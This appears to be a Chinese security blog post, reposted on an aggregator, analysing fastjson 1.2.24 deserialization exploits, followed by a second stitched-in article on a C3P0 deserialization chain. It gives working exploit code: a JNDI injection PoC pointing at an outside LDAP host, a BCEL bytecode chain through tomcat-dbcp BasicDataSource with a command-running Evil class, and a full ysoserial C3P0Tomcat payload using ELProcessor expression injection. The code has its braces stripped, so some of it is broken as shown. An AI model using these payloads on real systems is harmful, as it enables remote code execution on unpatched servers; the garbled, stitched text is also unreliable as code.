fastjson-BCEL不出网打法原理分析

Posted Q00000001

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了fastjson-BCEL不出网打法原理分析相关的知识,希望对你有一定的参考价值。

FastJson反序列化漏洞

与原生的 Java 反序列化的区别在于,FastJson 反序列化并未使用 readObject 方法,而是由 FastJson 自定一套反序列化的过程。通过在反序列化的过程中自动调用类属性的 setter 方法和 getter 方法,将 JSON 字符串还原成对象,当这些自动调用的方法中存在可利用的潜在危险代码时,漏洞便产生了。

fastjson用法:

1.将字符串转换为json格式,通过key获取value:

class jsonUser
    public static void main(String[] args) 
        //正常使用将字符串转换成json格式,提取相关数据
        String s = "\\"name\\":\\"小红\\",\\"age\\":\\"18\\"";
        JSONObject jsonobject = (JSONObject) JSON.parse(s);
        System.out.println(jsonobject.get("name"));
    

小红

这么简单好用的一个功能为什么会出现漏洞?

2.将JSON还原成对象:

class User 
    private String id;

    User() 
        System.out.println("User go");
    

    public void setId(String ids) 
        System.out.println("setId go");
        this.id = ids;
    

    public String getId() 
        System.out.println("GetId go");
        return this.id;
    


public class Fastjson 

            public static void main(String[] args) 
            User a = new User();
            String json = JSON.toJSONString(a);  //序列化 转为json
//            System.out.println(json);
            System.out.println(JSON.parseObject(json,User.class));  //反序列化 转为原始数据
        


result:会自动调用 Get方法和构造方法。

fastjson漏洞产生原因:

public class Fastjson 
public static void main(String[] args) 
JSONObject jsonObject = JSON.parseObject(\\"@type\\":\\"Java_deserialization.User\\",\\"id\\":\\"123\\"");
System.out.println(jsonObject);
            
        

result:会自动调用Get,Set,构造方法。

这里fastjson提供了AutoType这种方式来指定需要还原的对象以及值“@type”:“Java_deserialization.User”,“id”:“123”,其中@type后面跟进的就是我们所需要还原的对象(可控)后面跟进的id也就是这个类里面的属性,如果有一个fastjson反序列化点可控那么我们就可以随意指定一个恶意类,如果这个恶意类里面的构造方法或者Get,Set方法调用了恶意的方法那么就会造成反序列化漏洞。

fastjson什么时候会调用get方法?

细节就不调试了,感兴趣可以调试JavaBeanInfo.build() 里面的规则

● 只存在 getter 方法,无 setter 方法。

● 方法名称长度大于等于 4。

● 非静态方法。

● 方法名以 get 开头,且第四个字符为大写字母,例如 getAge。

● 方法无须入参。

● 方法返回值继承自 Collection、Map、AtomicBoolean、AtomicInteger 和

AtomicLong 的其中一个。

fastjson1.2.24-JndI注入

Poc:

public class Fastjson 

          public static void main(String[] args) 
          System.out.println(JSON.parseObject("\\"@type\\":\\"com.sun.rowset.JdbcRowSetImpl\\"," +
                  "\\"dataSourceName\\":\\"ldap://erh3yu.dnslog.cn\\"," + "\\"autoCommit\\":\\"true\\""));
            
        

根据之前的分析,可以知道攻击者指定了一个类 @type:com.sun.rowset.JdbcRowSetImpl,然后给类里面的属性进行了赋值(就跟之前的id一样的),那么赋值以后就会调用对应的set方法,也许危险代码就在set方法里面:

1.调用set方法dataSourceName:

2.调用setAutoCommit方法:为什么是true?这里autoCommit是一个布尔值,你传false 或者0,1都可以。

会进入caonnect方法,危险方法就是这个connect:

3.connect方法:

熟悉Java的朋友就会知道这是一个Jndi注入点,其中里面的dataSourceName是可控的就是我们刚刚传入的ldap协议,这里就不过多的阐述ldap协议了,后面会单独的去做笔记。ldap协议属于jndi里面的一种可以远程动态加载其他服务器上面的资源,如果远程加载的对象可控那么我们就可以远程加载自己构建的恶意类。

4.这里我们跟进lookup看看:

5.getURLOrDefaultInitCtx方法:

这里会对我们传入的uri进行判断,判断是什么协议比如ldap,rmi等远程加载数据的协议。

fastjson1.2.24-BCEL不出网打法

刚刚介绍的是fastjson利用jndi注入来远程加载恶意类的方法,如果机器在内网无法访问互联网那么这种方法就失败了,虽然TemplatesImpl利用链虽然原理上也是利用了 ClassLoader 动态加载恶意代码,但是需要开启Feature.SupportNonPublicField,并且实际应用中其实不多见所以我们就介绍另外一种攻击方法apache-BCEL,直接传入字节码不需要出网就可执行恶意代码但是需要引入tomcat的依赖,但在实际攻击中还算是比较常见的。

复现环境

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>

<dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-dbcp</artifactId>
            <version>9.0.20</version>
        </dependency>
// tomcat-bdcp在7还是8版本一下名称叫做dbcp,大家引入的时候注意一下

POC:


        "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
        "driverClassLoader": 
            "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
        ,
        "driverClassName": "$$BCEL$$$l$8b......"

这里需要说明一下driverClassName里面传入的其实是恶意类经过BCEL协议编码过后的代码,网上很多的人都没有说明,也没有告诉大家如何生成,后面部分会为一步一步说。

分析:

正常使用BCEL:

import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;

public class fastjsonBcel 
    public static void main(String[] args) throws Exception 
        //不考虑fastjson情况就正常调用该类
        ClassLoader classLoader = new ClassLoader();
        byte[] bytes = fileToBinArray(new File("D:\\\\Evil.class"));
        String code = Utility.encode(bytes,true);
        classLoader.loadClass("$$BCEL$$"+code).newInstance();
        
        //将文件转为字节码数组
    public static byte[] fileToBinArray(File file)
        try 
            InputStream fis = new FileInputStream(file);
            byte[] bytes = FileCopyUtils.copyToByteArray(fis);
            return bytes;
        catch (Exception ex)
            throw new RuntimeException("transform file into bin Array 出错",ex);
        
    


    
    //恶意类
    
    package Java_deserialization;

import java.lang.Runtime;
import java.lang.Process;

public class Evil 
    static 
        try 
            Runtime rt = Runtime.getRuntime();
            String[] commands = "calc";
            Process pc = rt.exec(commands);
            pc.waitFor();
         catch (Exception e) 
            // do nothing
        
    


//javac Evil.java 转为.class,动态调用的是字节码
com.sun.org.apache.bcel.internal.util里面有一个classLoader类,ClassLoader类里面有一个loadClass方法,如果满足方法里面的条件就可以动态调用恶意代码,其中恶意代码是通过BCEL格式传入的。

代码很简单,创建一个对象然后调用loadClass方法,需要注意的是为什么我们需要做编码这一步:

String code = Utility.encode(bytes,true);

我们在调用loadClass方法的时候会调用 creatClass方法,这里需要跟进去看看


可以看到在进入到 creatClass方法以后会对数据进行解码,所以在之前我们需要进行编码而且为了满足条件需要加上"$ $ BCEL$ $"相关的字符串才能绕过if判断。

成功执行命令,那么现在我们需要考虑的就是如何将这个恶意方法和fastjson结合起来。

tomcat-dbcp:

结合tomcat-dbcp这个类进行组合达到触发fastjson的目的:

tomcat-dbcp里面有一个BasicDataSource类,在反序列化的时候会调用getConnection()方法:

getConnection()方法在返回的时候会调用createDataSource()方法:

createDataSource()方法又会调用createConnectionFactory()方法,

问题代码:

driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);

正常BCEL的代码:

ClassLoader classLoader = new ClassLoader();
classLoader.loadClass("$$BCEL$$"+code).newInstance();

通过动态类加载调用我们的loadclass,如果Class.forName(driverClassName, true, driverClassLoader)中的driverClassName和driverClassLoader可控,那么我们就可以传入我们正常BCEL生成的 classLoader和BCEL绕过的代码,恰巧这里有对应的set方法,那么在fastjson反序列化中就会调用set方法来达到可控的目的:

public class fastjsonBcel 
    public static void main(String[] args) throws Exception 
        ClassLoader classLoader = new ClassLoader();
        byte[] bytes = fileToBinArray(new File("D:\\\\Evil.class"));
        String code = Utility.encode(bytes,true);
        BasicDataSource basicDataSource = new BasicDataSource();
        basicDataSource.setDriverClassLoader(classLoader);
        basicDataSource.setDriverClassName("$$BCEL$$"+code);
        basicDataSource.getConnection();

    

攻击链:

换成正常POC测试:

public class fastjsonBcel 
    public static void main(String[] args) throws Exception 
        byte[] bytes = fileToBinArray(new File("D:\\\\Evil.class"));
        String code = Utility.encode(bytes,true);
        String s = "\\"@type\\":\\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\\",\\"driverClassName\\":\\"$$BCEL$$" + code + "\\",\\"driverClassloader\\":\\"@type\\":\\"com.sun.org.apache.bcel.internal.util.ClassLoader\\"";
        JSON.parseObject(s);
    

[Java安全]C3P0反序列化不出网利用学习

参考文章

本文复现了雨了个雨师傅的文章,思路很好,看完以后其实和JNDI8u191后的绕过思路一致,这个等下再复现学习

利用链构造

在昨天看了Ysoserial的基本过程以后其实这个就相对简单了,不一样的地方就是后面Ysoserial用了URLClassLoader,而这个是当前线程下的ClassLoader,曾经一直觉得没用,还是自己学的太少了,大佬想到通过Tomcat的getObjectInstance方法调用ELProcessor的eval方法实现表达式注入

package ysoserial.payloads;


import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;

import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import org.apache.naming.ResourceRef;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/**
 yulegeyu modified
 */
@PayloadTest ( harness="ysoserial.test.payloads.RemoteClassLoadingTest" )
@Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} )
@Authors({ Authors.MBECHLER })
public class C3P0Tomcat implements ObjectPayload<Object> {
    public Object getObject ( String command ) throws Exception {

        PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
        Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource("org.apache.naming.factory.BeanFactory", null));
        return b;
    }

    private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {

        private String className;
        private String url;

        public PoolSource ( String className, String url ) {
            this.className = className;
            this.url = url;
        }

        public Reference getReference () throws NamingException {
            ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
            ref.add(new StringRefAddr("forceString", "x=eval"));
            String cmd = "calc";
            ref.add(new StringRefAddr("x", "\\"\\".getClass().forName(\\"javax.script.ScriptEngineManager\\").newInstance().getEngineByName(\\"JavaScript\\").eval(\\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','"+ cmd +"']).start()\\")"));
            return ref;
        }

        public PrintWriter getLogWriter () throws SQLException {return null;}
        public void setLogWriter ( PrintWriter out ) throws SQLException {}
        public void setLoginTimeout ( int seconds ) throws SQLException {}
        public int getLoginTimeout () throws SQLException {return 0;}
        public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
        public PooledConnection getPooledConnection () throws SQLException {return null;}
        public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

    }


    public static void main ( final String[] args ) throws Exception {
        PayloadRunner.run(C3P0Tomcat.class, new String[]{"calc"});
    }

}

利用链分析

有些细节就不扣了,在Ysoserial那篇分析过了,简单来跟踪下调用链,PoolBackedDataSourceBasereadObject
首先第一个恢复出的对象ReferenceSerializedIndirectlySerialized的实例

跟进getObject的调用,继续跟进referenceToObject

不同于之前,这次我们让var11null

这里实例化了org.apache.naming.factory.BeanFactory

就入上面所说的
org.apache.naming.factory.BeanFactorygetObjectInstance()中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。
而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的

反射调用

可以看到这里成功触发

以上是关于fastjson-BCEL不出网打法原理分析的主要内容,如果未能解决你的问题,请参考以下文章

内网------不出网批量上线

[Java安全]C3P0反序列化不出网利用学习

[Java安全]C3P0反序列化不出网利用学习

[Java安全]C3P0反序列化不出网利用学习

无回显不出网命令执行测试方式

jndi注入不出网